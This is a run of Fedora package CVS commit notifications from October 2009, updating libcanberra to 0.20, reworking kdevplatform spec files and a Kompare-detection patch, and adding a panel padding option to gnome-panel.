Subject: rpms/libcanberra/devel .cvsignore, 1.18, 1.19 libcanberra.spec, 1.38,
	1.39 sources, 1.20, 1.21
Message-ID: <20091015024349.89A9711C00E5@cvs1.fedora.phx.redhat.com>

Author: lennart

Update of /cvs/pkgs/rpms/libcanberra/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19404

Modified Files:
	.cvsignore libcanberra.spec sources 
Log Message:
New version 0.20


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/.cvsignore,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- .cvsignore	14 Oct 2009 19:11:56 -0000	1.18
+++ .cvsignore	15 Oct 2009 02:43:49 -0000	1.19
@@ -1 +1 @@
-libcanberra-0.19.tar.gz
+libcanberra-0.20.tar.gz


Index: libcanberra.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/libcanberra.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- libcanberra.spec	14 Oct 2009 19:11:56 -0000	1.38
+++ libcanberra.spec	15 Oct 2009 02:43:49 -0000	1.39
@@ -1,5 +1,5 @@
 Name: libcanberra
-Version: 0.19
+Version: 0.20
 Release: 1%{?dist}
 Summary: Portable Sound Event Library
 Group: System Environment/Libraries
@@ -127,6 +127,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/vala/vapi/libcanberra.vapi
 
 %changelog
+* Thu Oct 15 2009 Lennart Poettering <lpoetter at redhat.com> 0.20-1
+- New version 0.20
+
 * Wed Oct 14 2009 Lennart Poettering <lpoetter at redhat.com> 0.19-1
 - New version 0.19
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libcanberra/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	14 Oct 2009 19:11:56 -0000	1.20
+++ sources	15 Oct 2009 02:43:49 -0000	1.21
@@ -1 +1 @@
-4c7a718b8314d87737e4f91c2a06e1fc  libcanberra-0.19.tar.gz
+2f603086a1c994e96143c18739bc4200  libcanberra-0.20.tar.gz



From mathstuf at fedoraproject.org  Thu Oct 15 04:35:09 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Thu, 15 Oct 2009 04:35:09 +0000 (UTC)
Subject: rpms/kdevplatform/devel kdevplatform-0.9.95-find-kompare.patch, NONE,
	1.1 .cvsignore, 1.2, 1.3 kdevplatform.spec, 1.2, 1.3 sources, 1.2, 1.3
Message-ID: <20091015043509.49FA911C00DB@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kdevplatform/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6936

Modified Files:
	.cvsignore kdevplatform.spec sources 
Added Files:
	kdevplatform-0.9.95-find-kompare.patch 
Log Message:
Find Kompare

kdevplatform-0.9.95-find-kompare.patch:
 FindKompare.cmake |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE kdevplatform-0.9.95-find-kompare.patch ---
diff -r -U5 kdevplatform-0.9.95/cmake/modules/FindKompare.cmake kdevplatform-0.9.95.kompare/cmake/modules/FindKompare.cmake
--- kdevplatform-0.9.95/cmake/modules/FindKompare.cmake	2009-08-06 06:04:58.000000000 -0400
+++ kdevplatform-0.9.95.kompare/cmake/modules/FindKompare.cmake	2009-10-11 16:50:25.000000000 -0400
@@ -1,13 +1,13 @@
 # Try to find Kompare includes
 
 find_path(KOMPARE_INCLUDES kompareinterface.h HINTS ${KDE4_INCLUDE_DIR}/kompare)
 
 #FIXME: Remove the version_greater once KDevelop has moved to 4.3
-if(KOMPARE_INCLUDES AND ${KDE_VERSION} VERSION_LESS 4.3.61 )
+if(KOMPARE_INCLUDES AND ${KDE_VERSION} VERSION_LESS 4.3.1 )
     set(KOMPARE_INCLUDES KOMPARE_INCLUDES-NOTFOUND )
-endif(KOMPARE_INCLUDES AND  ${KDE_VERSION} VERSION_LESS 4.3.61 )
+endif(KOMPARE_INCLUDES AND  ${KDE_VERSION} VERSION_LESS 4.3.1 )
 
 INCLUDE(FindPackageHandleStandardArgs)
 FIND_PACKAGE_HANDLE_STANDARD_ARGS(Kompare DEFAULT_MSG KOMPARE_INCLUDES)
 
 MARK_AS_ADVANCED(KOMPARE_INCLUDES)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdevplatform/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	14 Sep 2009 05:38:33 -0000	1.2
+++ .cvsignore	15 Oct 2009 04:35:08 -0000	1.3
@@ -1 +0,0 @@
-kdevplatform-0.9.95.20090914svn1023119.tar.bz2


Index: kdevplatform.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdevplatform/devel/kdevplatform.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- kdevplatform.spec	14 Sep 2009 05:45:46 -0000	1.2
+++ kdevplatform.spec	15 Oct 2009 04:35:08 -0000	1.3
@@ -3,7 +3,7 @@
 Name:           kdevplatform
 Summary:        Libraries for use by KDE development tools
 Version:        0.9.95
-Release:        0.2%{?alphatag}%{?dist}
+Release:        0.3%{?alphatag}%{?dist}
 
 Group:          Development/Tools
 License:        GPLv2
@@ -20,6 +20,7 @@ URL:            http://www.kde.org/
 Source0:        kdevplatform-%{version}%{?alphatag}.tar.bz2
 ### ORIGINAL
 #Source0:        ftp://ftp.kde.org/pub/kde/unstable/%{version}/src/kdevplatform-%{version}.tar.bz2
+Patch0:         kdevplatform-%{version}-find-kompare.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires: %{name}-libs = %{?epoch:%{epoch}:}%{version}-%{release}
@@ -57,6 +58,7 @@ Requires: commoncpp2-devel
 
 %prep
 %setup -q -n kdevplatform-%{version}%{?alphatag}
+%patch0 -p1 -b .kompare
 
 %build
 mkdir -p %{_target_platform}
@@ -114,6 +116,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Thu Oct 15 2009 Ben Boeckel <MathStuf at gmail.com> - 0.9.95-0.3
+- Add patch to find Kompare
+
 * Mon Sep 14 2009 Ben Boeckel <MathStuf at gmail.com> - 0.9.95-0.2
 - Add icon scriptlets
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdevplatform/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	14 Sep 2009 05:38:33 -0000	1.2
+++ sources	15 Oct 2009 04:35:08 -0000	1.3
@@ -1 +0,0 @@
-a60de80748d1a130f3f3ce0a10f471ae  kdevplatform-0.9.95.20090914svn1023119.tar.bz2



From mathstuf at fedoraproject.org  Thu Oct 15 04:46:55 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Thu, 15 Oct 2009 04:46:55 +0000 (UTC)
Subject: rpms/kdevplatform/devel .cvsignore, 1.3, 1.4 kdevplatform.spec, 1.3,
	1.4 sources, 1.3, 1.4
Message-ID: <20091015044655.282FA11C00DB@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kdevplatform/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9496

Modified Files:
	.cvsignore kdevplatform.spec sources 
Log Message:
Update snapshot and upload source


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdevplatform/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	15 Oct 2009 04:35:08 -0000	1.3
+++ .cvsignore	15 Oct 2009 04:46:54 -0000	1.4
@@ -0,0 +1 @@
+kdevplatform-0.9.95.20091015svn1035382.tar.bz2


Index: kdevplatform.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdevplatform/devel/kdevplatform.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- kdevplatform.spec	15 Oct 2009 04:35:08 -0000	1.3
+++ kdevplatform.spec	15 Oct 2009 04:46:54 -0000	1.4
@@ -1,26 +1,13 @@
-%define alphatag .20090914svn1023119
-
 Name:           kdevplatform
 Summary:        Libraries for use by KDE development tools
 Version:        0.9.95
-Release:        0.3%{?alphatag}%{?dist}
+Release:        0.4.beta5%{?alphatag}%{?dist}
 
 Group:          Development/Tools
 License:        GPLv2
 URL:            http://www.kde.org/
-### SNAPSHOT
-#Source0:VAR svnrel echo $(date +%Y%m%d)svn$(svn info svn://anonsvn.kde.org/home/kde/trunk/KDE/kdevplatform | grep 'Rev:' | cut -d" " -f4)
-#Source0:CMD svn export svn://anonsvn.kde.org/home/kde/trunk/KDE/kdevplatform kdevplatform-%{version}.%{svnrel}
-#Source0:CMD tar cjf %{_sourcedir}/kdevplatform-%{version}.%{svnrel}.tar.bz2 kdevplatform-%{version}.%{svnrel}
-#Source0:CMD rm -rf kdevplatform-%{version}.%{svnrel}
-### TAG
-#Source0:DISABLECMD svn export svn://anonsvn.kde.org/home/kde/tags/kdevplatform/%{version} kdevplatform-%{version}
-#Source0:DISABLECMD tar cjf %{_sourcedir}/kdevplatform-%{version}.tar.bz2 kdevplatform-%{version}
-#Source0:DISABLECMD rm -rf kdevplatform-%{version}
-Source0:        kdevplatform-%{version}%{?alphatag}.tar.bz2
-### ORIGINAL
-#Source0:        ftp://ftp.kde.org/pub/kde/unstable/%{version}/src/kdevplatform-%{version}.tar.bz2
-Patch0:         kdevplatform-%{version}-find-kompare.patch
+Source0:        ftp://ftp.kde.org/pub/kde/unstable/kdevelop/3.9.95/src/kdevplatform-%{version}.tar.bz2
+Patch0:         kdevplatform-0.9.95-find-kompare.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Requires: %{name}-libs = %{?epoch:%{epoch}:}%{version}-%{release}
@@ -34,17 +21,19 @@ BuildRequires:  kdesdk-devel >= 4.2.85
 
 %{?_kde4_macros_api:Requires: kde4-macros(api) = %{_kde4_macros_api} }
 
-
 %description
 KDE Development platform, the foundations upon which
 KDevelop and Quanta are built.
 
+
 %package libs
 Summary: Runtime libraries for %{name}
 Group:   System Environment/Libraries
+
 %description libs
 %{summary}.
 
+
 %package devel
 Group:    Development/Libraries
 Summary:  Developer files for %{name}
@@ -57,13 +46,14 @@ Requires: commoncpp2-devel
 
 
 %prep
-%setup -q -n kdevplatform-%{version}%{?alphatag}
+%setup -q -n kdevplatform-%{version}
 %patch0 -p1 -b .kompare
 
+
 %build
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
-%{cmake_kde4} -DCMAKE_BUILD_TYPE=Debugfull ..
+%{cmake_kde4} ..
 popd
 make %{?_smp_mflags} -C %{_target_platform} VERBOSE=1
 
@@ -72,6 +62,7 @@ make %{?_smp_mflags} -C %{_target_platfo
 rm -rf %{buildroot}
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
+
 %clean
 rm -rf %{buildroot}
 
@@ -116,8 +107,11 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
-* Thu Oct 15 2009 Ben Boeckel <MathStuf at gmail.com> - 0.9.95-0.3
-- Add patch to find Kompare
+* Sun Oct 11 2009 Ben Boeckel <MathStuf at gmail.com> - 0.9.95-0.4.beta5
+- Fix finding Kompare includes
+
+* Tue Sep 29 2009 Ben Boeckel <MathStuf at gmail.com> - 0.9.95-0.3.beta5
+- Use official release
 
 * Mon Sep 14 2009 Ben Boeckel <MathStuf at gmail.com> - 0.9.95-0.2
 - Add icon scriptlets


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdevplatform/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	15 Oct 2009 04:35:08 -0000	1.3
+++ sources	15 Oct 2009 04:46:54 -0000	1.4
@@ -0,0 +1 @@
+f3ff600d7976bb0dfeb005e895675c35  kdevplatform-0.9.95.20091015svn1035382.tar.bz2



From mathstuf at fedoraproject.org  Thu Oct 15 04:48:31 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Thu, 15 Oct 2009 04:48:31 +0000 (UTC)
Subject: rpms/kdevplatform/devel kdevplatform.spec,1.4,1.5
Message-ID: <20091015044831.95A0011C00DB@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kdevplatform/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9885

Modified Files:
	kdevplatform.spec 
Log Message:
Use the nightly spec, not the beta spec


Index: kdevplatform.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdevplatform/devel/kdevplatform.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- kdevplatform.spec	15 Oct 2009 04:46:54 -0000	1.4
+++ kdevplatform.spec	15 Oct 2009 04:48:31 -0000	1.5
@@ -1,12 +1,25 @@
+%define alphatag .20091015svn1035382
+
 Name:           kdevplatform
 Summary:        Libraries for use by KDE development tools
 Version:        0.9.95
-Release:        0.4.beta5%{?alphatag}%{?dist}
+Release:        0.5%{?alphatag}%{?dist}
 
 Group:          Development/Tools
 License:        GPLv2
 URL:            http://www.kde.org/
-Source0:        ftp://ftp.kde.org/pub/kde/unstable/kdevelop/3.9.95/src/kdevplatform-%{version}.tar.bz2
+### SNAPSHOT
+#Source0:VAR svnrel echo $(date +%Y%m%d)svn$(svn info svn://anonsvn.kde.org/home/kde/trunk/KDE/kdevplatform | grep 'Rev:' | cut -d" " -f4)
+#Source0:CMD svn export svn://anonsvn.kde.org/home/kde/trunk/KDE/kdevplatform kdevplatform-%{version}.%{svnrel}
+#Source0:CMD tar cjf %{_sourcedir}/kdevplatform-%{version}.%{svnrel}.tar.bz2 kdevplatform-%{version}.%{svnrel}
+#Source0:CMD rm -rf kdevplatform-%{version}.%{svnrel}
+### TAG
+#Source0:DISABLECMD svn export svn://anonsvn.kde.org/home/kde/tags/kdevplatform/%{version} kdevplatform-%{version}
+#Source0:DISABLECMD tar cjf %{_sourcedir}/kdevplatform-%{version}.tar.bz2 kdevplatform-%{version}
+#Source0:DISABLECMD rm -rf kdevplatform-%{version}
+Source0:        kdevplatform-%{version}%{?alphatag}.tar.bz2
+### ORIGINAL
+#Source0:        ftp://ftp.kde.org/pub/kde/unstable/%{version}/src/kdevplatform-%{version}.tar.bz2
 Patch0:         kdevplatform-0.9.95-find-kompare.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -46,10 +59,9 @@ Requires: commoncpp2-devel
 
 
 %prep
-%setup -q -n kdevplatform-%{version}
+%setup -q -n kdevplatform-%{version}%{?alphatag}
 %patch0 -p1 -b .kompare
 
-
 %build
 mkdir -p %{_target_platform}
 pushd %{_target_platform}
@@ -107,6 +119,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Thu Oct 15 2009 Ben Boeckel <MathStuf at gmail.com> - 0.9.95-0.5.20091015svn1035382
+- New snapshot
+
 * Sun Oct 11 2009 Ben Boeckel <MathStuf at gmail.com> - 0.9.95-0.4.beta5
 - Fix finding Kompare includes
 



From mclasen at fedoraproject.org  Thu Oct 15 05:32:41 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu, 15 Oct 2009 05:32:41 +0000 (UTC)
Subject: rpms/gnome-panel/F-12 panel-padding.patch, NONE,
	1.1 gnome-panel.spec, 
	1.373, 1.374 redhat-panel-default-setup.entries, 1.18, 1.19
Message-ID: <20091015053241.E57E611C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-panel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23175

Modified Files:
	gnome-panel.spec redhat-panel-default-setup.entries 
Added Files:
	panel-padding.patch 
Log Message:
panel setup tweaks


panel-padding.patch:
 panel-profile.c           |    3 +++
 panel-profile.h           |    5 ++++-
 panel-toplevel.c          |   44 ++++++++++++++++++++++++++++++++++++++++++++
 panel-toplevel.h          |    3 +++
 panel-toplevel.schemas.in |   13 +++++++++++++
 panel-widget.c            |   39 +++++++++++++++++++++++++++------------
 6 files changed, 94 insertions(+), 13 deletions(-)

--- NEW FILE panel-padding.patch ---
diff -u -r gnome-panel-2.28.0/gnome-panel/panel-profile.c hacked/gnome-panel/panel-profile.c
--- gnome-panel-2.28.0/gnome-panel/panel-profile.c	2009-09-21 12:29:33.000000000 -0400
+++ hacked/gnome-panel/panel-profile.c	2009-10-15 00:41:56.366647539 -0400
@@ -638,6 +638,7 @@
 
 TOPLEVEL_GET_SET_FUNCS ("size",               toplevel,   int,  size,           int)
 TOPLEVEL_GET_SET_FUNCS ("expand",             toplevel,   bool, expand,         gboolean)
+TOPLEVEL_GET_SET_FUNCS ("padding",            toplevel,   int,  padding,           int)
 TOPLEVEL_GET_SET_FUNCS ("auto_hide",          toplevel,   bool, auto_hide,      gboolean)
 TOPLEVEL_GET_SET_FUNCS ("enable_buttons",     toplevel,   bool, enable_buttons, gboolean)
 TOPLEVEL_GET_SET_FUNCS ("enable_arrows",      toplevel,   bool, enable_arrows,  gboolean)
@@ -1185,6 +1186,7 @@
 	else UPDATE_INT ("monitor", monitor)
 	else UPDATE_STRING ("name", name)
 	else UPDATE_BOOL ("expand", expand)
+	else UPDATE_INT ("padding", padding)
 	else UPDATE_STRING ("orientation", orientation)
 	else UPDATE_INT ("size", size)
 	else UPDATE_POS ("x", x, x_right)
@@ -1706,6 +1708,7 @@
 	GET_STRING ("name", name);
 	GET_INT ("monitor", monitor);
 	GET_BOOL ("expand", expand);
+	GET_INT ("padding", padding);
 	GET_STRING ("orientation", orientation);
 	GET_INT ("size", size);
 	GET_BOOL ("auto_hide", auto_hide);
diff -u -r gnome-panel-2.28.0/gnome-panel/panel-profile.h hacked/gnome-panel/panel-profile.h
--- gnome-panel-2.28.0/gnome-panel/panel-profile.h	2009-04-19 13:45:09.000000000 -0400
+++ hacked/gnome-panel/panel-profile.h	2009-10-15 00:44:04.449650481 -0400
@@ -92,7 +92,10 @@
 						       gboolean       expand);
 gboolean    panel_profile_get_toplevel_expand         (PanelToplevel *toplevel);
 gboolean    panel_profile_is_writable_toplevel_expand (PanelToplevel *toplevel);
-
+void        panel_profile_set_toplevel_padding        (PanelToplevel *toplevel,
+                                                       int            padding);
+int         panel_profile_get_toplevel_padding        (PanelToplevel *padding);
+gboolean    panel_profile_is_writable_toplevel_padding (PanelToplevel *toplevel);
 void        panel_profile_set_toplevel_auto_hide      (PanelToplevel *toplevel,
 						       gboolean       auto_hide);
 gboolean    panel_profile_get_toplevel_auto_hide      (PanelToplevel *toplevel);
diff -u -r gnome-panel-2.28.0/gnome-panel/panel-toplevel.c hacked/gnome-panel/panel-toplevel.c
--- gnome-panel-2.28.0/gnome-panel/panel-toplevel.c	2009-08-21 06:31:49.000000000 -0400
+++ hacked/gnome-panel/panel-toplevel.c	2009-10-15 00:56:09.477897456 -0400
@@ -79,6 +79,7 @@
 	gboolean                expand;
 	PanelOrientation        orientation;
 	int                     size;
+        int                     padding;
 
 	/* relative to the monitor origin */
 	int                     x;
@@ -213,6 +214,7 @@
 	PROP_0,
 	PROP_NAME,
 	PROP_EXPAND,
+        PROP_PADDING,
 	PROP_ORIENTATION,
 	PROP_SIZE,
 	PROP_X,
@@ -3862,6 +3864,9 @@
 	case PROP_EXPAND:
 		panel_toplevel_set_expand (toplevel, g_value_get_boolean (value));
 		break;
+	case PROP_PADDING:
+		panel_toplevel_set_padding (toplevel, g_value_get_int (value));
+		break;
 	case PROP_ORIENTATION:
 		panel_toplevel_set_orientation (toplevel, g_value_get_enum (value));
 		break;
@@ -3956,6 +3961,9 @@
 	case PROP_EXPAND:
 		g_value_set_boolean (value, toplevel->priv->expand);
 		break;
+	case PROP_PADDING:
+		g_value_set_int (value, toplevel->priv->padding);
+		break;
 	case PROP_ORIENTATION:
 		g_value_set_enum (value, toplevel->priv->orientation);
 		break;
@@ -4118,6 +4126,18 @@
 
 	g_object_class_install_property (
 		gobject_class,
+		PROP_PADDING,
+		g_param_spec_int (
+			"padding",
+			"Padding",
+			"Padding that is inserted between objects",
+			0,
+                        G_MAXINT,
+                        0,
+			G_PARAM_READWRITE | G_PARAM_CONSTRUCT));
+
+	g_object_class_install_property (
+		gobject_class,
 		PROP_ORIENTATION,
 		g_param_spec_enum (
 			"orientation",
@@ -4698,6 +4718,30 @@
 	return toplevel->priv->expand;
 }
 
+void
+panel_toplevel_set_padding (PanelToplevel *toplevel,
+                            int            padding)
+{
+	g_return_if_fail (PANEL_IS_TOPLEVEL (toplevel));
+
+	if (toplevel->priv->padding == padding)
+		return;
+
+	toplevel->priv->padding = padding;
+
+	gtk_widget_queue_resize (GTK_WIDGET (toplevel));
+
+	g_object_notify (G_OBJECT (toplevel), "padding");
+}
+
+int
+panel_toplevel_get_padding (PanelToplevel *toplevel)
+{
+	g_return_val_if_fail (PANEL_IS_TOPLEVEL (toplevel), 0);
+
+	return toplevel->priv->padding;
+}
+
 gboolean
 panel_toplevel_get_is_floating (PanelToplevel *toplevel)
 {
diff -u -r gnome-panel-2.28.0/gnome-panel/panel-toplevel.h hacked/gnome-panel/panel-toplevel.h
--- gnome-panel-2.28.0/gnome-panel/panel-toplevel.h	2009-08-19 11:28:09.000000000 -0400
+++ hacked/gnome-panel/panel-toplevel.h	2009-10-15 00:46:33.972648015 -0400
@@ -83,6 +83,9 @@
 void                 panel_toplevel_set_expand             (PanelToplevel       *toplevel,
 							    gboolean             expand);
 gboolean             panel_toplevel_get_expand             (PanelToplevel       *toplevel);
+void                 panel_toplevel_set_padding            (PanelToplevel       *toplevel,
+                                                            int                  padding);
+int                  panel_toplevel_get_padding            (PanelToplevel       *toplevel);
 void                 panel_toplevel_set_orientation        (PanelToplevel       *toplevel,
 							    PanelOrientation     orientation);
 PanelOrientation     panel_toplevel_get_orientation        (PanelToplevel       *toplevel);
diff -u -r gnome-panel-2.28.0/gnome-panel/panel-toplevel.schemas.in hacked/gnome-panel/panel-toplevel.schemas.in
--- gnome-panel-2.28.0/gnome-panel/panel-toplevel.schemas.in	2009-07-01 09:06:23.000000000 -0400
+++ hacked/gnome-panel/panel-toplevel.schemas.in	2009-10-15 00:39:49.307648259 -0400
@@ -103,6 +103,19 @@
     </schema>
  
     <schema>
+      <key>/schemas/apps/panel/toplevels/padding</key>
+      <owner>panel</owner>
+      <type>int</type>
+      <default>0</default>
+      <locale name="C">
+        <short>Padding</short>
+        <long>
+          Padding that will be inserted between objects on this panel.
+        </long>
+      </locale>
+    </schema>
+ 
+    <schema>
       <key>/schemas/apps/panel/toplevels/x</key>
       <owner>panel</owner>
       <type>int</type>
diff -u -r gnome-panel-2.28.0/gnome-panel/panel-widget.c hacked/gnome-panel/panel-widget.c
--- gnome-panel-2.28.0/gnome-panel/panel-widget.c	2009-08-11 07:32:38.000000000 -0400
+++ hacked/gnome-panel/panel-widget.c	2009-10-15 01:00:07.721647522 -0400
@@ -710,9 +710,12 @@
 {
 	AppletData *ad;
 	AppletData *nad = NULL;
-	
+	gint padding;
+
 	g_assert (list != NULL);
 
+	padding = panel_toplevel_get_padding (panel->toplevel);
+
 	ad = list->data;
 	if (ad->constrained + ad->min_cells >= panel->size)
 		return;
@@ -720,8 +723,8 @@
 	if (list->next)
 		nad = list->next->data;
 
-	if (!nad || nad->constrained >= ad->constrained + ad->min_cells + MOVE_INCREMENT) {
-		ad->pos = ad->constrained += MOVE_INCREMENT;
+	if (!nad || nad->constrained >= ad->constrained + ad->min_cells + MOVE_INCREMENT + padding) {
+		ad->pos = ad->constrained += MOVE_INCREMENT + padding;
 		gtk_widget_queue_resize (GTK_WIDGET (panel));
 		emit_applet_moved (panel, ad);
 		return;
@@ -786,6 +789,9 @@
 {
 	AppletData *ad;
 	AppletData *pad = NULL;
+	gint padding;
+
+	padding = panel_toplevel_get_padding (panel->toplevel);
 
 	ad = list->data;
 	if (ad->constrained <= 0)
@@ -794,8 +800,8 @@
 	if (list->prev)
 		pad = list->prev->data;
 
-	if (!pad || pad->constrained + pad->min_cells <= ad->constrained - MOVE_INCREMENT) {
-		ad->pos = ad->constrained -= MOVE_INCREMENT;
+	if (!pad || pad->constrained + pad->min_cells <= ad->constrained - MOVE_INCREMENT - padding) {
+		ad->pos = ad->constrained -= MOVE_INCREMENT + padding;
 		gtk_widget_queue_resize (GTK_WIDGET (panel));
 		emit_applet_moved (panel, ad);
 		return;
@@ -874,15 +880,18 @@
 {
 	AppletData *ad;
 	AppletData *nad = NULL;
+	gint padding;
 
 	g_assert (list != NULL);
 
+	padding = panel_toplevel_get_padding (panel->toplevel);
+
 	ad = list->data;
 	if (list->next)
 		nad = list->next->data;
 
-	if (!nad || nad->constrained >= ad->constrained + ad->min_cells + MOVE_INCREMENT)
-		return ad->constrained + MOVE_INCREMENT;
+	if (!nad || nad->constrained >= ad->constrained + ad->min_cells + MOVE_INCREMENT + padding)
+		return ad->constrained + MOVE_INCREMENT + padding;
 
 	if (nad->locked)
 		return panel_widget_get_right_jump_pos (panel,
@@ -948,15 +957,18 @@
 {
 	AppletData *ad;
 	AppletData *pad = NULL;
+	gint padding;
 
 	g_assert (list != NULL);
 
+	padding = panel_toplevel_get_padding (panel->toplevel);
+
 	ad = list->data;
 	if (list->prev)
 		pad = list->prev->data;
 	
-	if (!pad || pad->constrained + pad->min_cells <= ad->constrained - MOVE_INCREMENT)
-		return ad->constrained - MOVE_INCREMENT;
+	if (!pad || pad->constrained + pad->min_cells <= ad->constrained - MOVE_INCREMENT - padding)
+		return ad->constrained - MOVE_INCREMENT - padding;
 
 	if (pad->locked)
 		return panel_widget_get_left_jump_pos (panel,
@@ -1333,12 +1345,15 @@
 	int i;
 	int old_size;
 	gboolean ltr;
+	gint padding;
 
 	g_return_if_fail(PANEL_IS_WIDGET(widget));
 	g_return_if_fail(allocation!=NULL);
 
 	panel = PANEL_WIDGET(widget);
 
+	padding = panel_toplevel_get_padding (panel->toplevel);
+
 	old_size = panel->size;
 	ltr = gtk_widget_get_direction (widget) == GTK_TEXT_DIR_LTR;
 	
@@ -1404,7 +1419,7 @@
 			}
 			ad->min_cells  = ad->cells;
 			gtk_widget_size_allocate(ad->applet,&challoc);
-			i += ad->cells;
+			i += ad->cells + padding;
 		}
 
 		/* EEEEK, there might be not enough room and we don't handle
@@ -1439,7 +1454,7 @@
 			if (ad->constrained < i)
 				ad->constrained = i;
 
-			i = ad->constrained + ad->cells;
+			i = ad->constrained + ad->cells + padding;
 		}
 
 		/* Now expand from the right */
@@ -1464,7 +1479,7 @@
 				ad->cells = cells;
 			}
 
-			i = ad->constrained;
+			i = ad->constrained - padding;
 		}
 
 		/* EEEEK, there's not enough room, so shift applets even


Index: gnome-panel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/gnome-panel.spec,v
retrieving revision 1.373
retrieving revision 1.374
diff -u -p -r1.373 -r1.374
--- gnome-panel.spec	8 Oct 2009 17:56:46 -0000	1.373
+++ gnome-panel.spec	15 Oct 2009 05:32:41 -0000	1.374
@@ -22,7 +22,7 @@
 Summary: GNOME panel
 Name: gnome-panel
 Version: 2.28.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-panel/2.28/%{name}-%{version}.tar.bz2
 
@@ -117,6 +117,9 @@ Patch41: bookmarks-submenu.patch
 # from upstream
 Patch42: panel-randr-crashes.patch
 
+# http://bugzilla.gnome.org/show_bug.cgi?id=343436
+Patch43: panel-padding.patch
+
 Conflicts: gnome-power-manager < 2.15.3
 
 %description
@@ -165,6 +168,7 @@ Panel Applets using the libpanel-applet 
 %patch40 -p1 -b .clock-home
 %patch41 -p1 -b .bookmarks-submenu
 %patch42 -p1 -b .randr-crashes
+%patch43 -p1 -b .panel-padding
 
 . %{SOURCE6}
 
@@ -363,6 +367,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Wed Oct 14 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-5
+- Tweaks to the default panel configuration
+
 * Thu Oct  8 2009 Matthias Clasen <mclasen at redhat.com> 2.28.0-4
 - Fix possible crashes related to randr events
 


Index: redhat-panel-default-setup.entries
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-panel/F-12/redhat-panel-default-setup.entries,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- redhat-panel-default-setup.entries	2 Jun 2009 04:41:12 -0000	1.18
+++ redhat-panel-default-setup.entries	15 Oct 2009 05:32:41 -0000	1.19
@@ -56,9 +56,6 @@
             <string>systray</string>
           </value>
           <value>
-            <string>show_desktop_button</string>
-          </value>
-          <value>
             <string>window_list</string>
           </value>
           <value>
@@ -91,6 +88,13 @@
       </value>
     </entry>
     <entry>
+      <key>toplevels/top_panel/padding</key>
+      <schema_key>/schemas/apps/panel/toplevels/padding</schema_key>
+      <value>
+        <int>10</int>
+      </value>
+    </entry>
+    <entry>
       <key>toplevels/top_panel/orientation</key>
       <schema_key>/schemas/apps/panel/toplevels/orientation</schema_key>
       <value>
@@ -143,6 +147,13 @@
       </value>
     </entry>
     <entry>
+      <key>toplevels/bottom_panel/padding</key>
+      <schema_key>/schemas/apps/panel/toplevels/padding</schema_key>
+      <value>
+        <int>10</int>
+      </value>
+    </entry>
+    <entry>
       <key>toplevels/bottom_panel/orientation</key>
       <schema_key>/schemas/apps/panel/toplevels/orientation</schema_key>
       <value>
@@ -260,7 +271,7 @@
       <key>objects/web_launcher/locked</key>
